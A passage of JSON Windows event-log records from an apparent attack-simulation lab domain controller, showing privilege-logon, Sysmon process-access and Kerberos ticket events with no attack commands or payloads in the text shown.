ID:\t\t0x451D8\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x451d8","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2509,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2510,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2511,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2512,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2513,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2514,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-4009-5F2D-0000-0010C34F0400}\r\nSourceProcessId: 4484\r\nSourceThreadId: 4504\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010C9520400}\r\nTargetProcessId: 4560\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-4009-5F2D-0000-0010C34F0400}","SourceProcessId":"4484","SourceThreadId":"4504","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010C9520400}","TargetProcessId":"4560","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2515,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.490\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.490","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221718,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221719,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 